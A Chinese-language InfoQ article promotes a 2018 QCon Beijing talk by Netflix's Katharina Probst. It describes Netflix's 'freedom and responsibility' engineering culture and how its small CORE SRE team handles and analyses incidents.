从工程文化和运维理念理解Netflix

http://www.infoq.com/cn/news/2018/01/netflix-engineering-culture

在技术圈儿，Netflix 是一家非常有特色的互联网公司。他们信奉“自由与责任”的企业文化，鼓励工程师发挥自己的爱好与特长；特别开放，很多内部系统都开源了；所有业务都运行在云上，随之而来，有很多自己的工具，特色的运维文化。

在明年 4 月 20～22 日的 QCon 北京 2018 上，我们有幸邀请到 Netflix 工程总监 Katharina Probst，她将分享 Netflix 的工程文化以及运维方面的理念和经验。

InfoQ 曾有文章介绍 Netflix 的企业文化（技术漫谈：为什么Netflix的企业文化会备受整个硅谷的推崇？），而这次，Katharina 将现场分享《工程文化：挖掘工程师的最大价值》。

丹尼尔·平克的《驱动力》一书，指出了如何提高绩效、焕发热情的三大要素：自主（Autonomy）、专精（Mastery）和目的（Purpose）。本次演讲也将从这三个方面出发，探讨如何让工程师发掘出自己的最大潜能。

自主：设定良好的环境，但是不控制目标的日常执行。
专精：为每个人提供锻炼技能的条件，并对成长提供反馈。
目的：将工程师连接起来，为公司的使命而奋斗。

Katharina 还曾撰文介绍 Netflix 背后独特的运维理念。

在Netflix，“自由与责任”的价值观体现的淋漓尽致。一方面，工程团队可以自由地向产品添加功能和服务，不需要审批和繁琐的程序。另一方面，作为产品的所有者，要负责服务的运维和支持。

优势当然是各团队可以灵活快速地实现新功能。当然，有利就有弊，整个系统的规模也随之爆炸性增长，没有人能记着所有系统的所有变更。

这种情况下，Netflix 是如何保证其服务的高可用性和用户体验的呢？秘密就在于 Netflix 的 CORE SRE 团队。

SRE 是指 Site Reliability Engineer (网站可靠性工程师)。这个概念大家应该并不陌生。

CORE 是几个单词的首字母缩写：Cloud（云）、Operations（运维）、Reliability（可靠性）、Engineering（工程）。一语双关，既可以看成“云运维可靠性工程”，也可以看成“核心”。

这个团队非常小，不到 10 个人。虽然人少，但是都是骨干人才。可以把这个团队看作 Netflix 服务的中枢神经系统。这个团队是干什么的呢？

他们要尽可能多的从整体上把握 Netflix 的系统，进而让系统更好、更可靠。具体而言，其工作是：

理解事故（incident）；
发现事故和健康运维状况下的模式；
将模式转变成工具和最佳实践，防患于未然。

理解事故

事故发生时，SRE 往往是第一响应人。这个人要定位问题，深入了解事故，确定严重等级，看看应该找谁来解决问题。要找的人可能是服务的所有者，或者外部合作伙伴（比如设备供应商）。

CORE SRE 团队要根据自己对整个系统的理解，决定在既定情况下，采用哪种缓解策略最好，比如把流量切到其他区域。

发现事故和健康运维状况下的模式

事故解决后，SRE 的工作才算真正开始。下一步是仔细研究事故，提很多问题。比如：
• 事故是什么原因导致的？
• 我们之前怎么做，能够避免这次事故？
• 是不是有某个最佳实践并没有遵守？
• 是不是团队遵守了某个最佳实践，但是没起到预期效果？
• 团队应该怎么做，以避免再次发生类似事故？
• 在事故发生时，我们掌握了哪些信息，能让我们更快地理解事故原因？
• 有什么工具可以帮我们降低事故严重性和持续时间？
• 这种问题之前发生过吗？有没有什么模式？
• 卷入事故的团队，是不是犯了更多主动失误？发生了什么？

除了提问分析，还要分析事故数据，发现模式。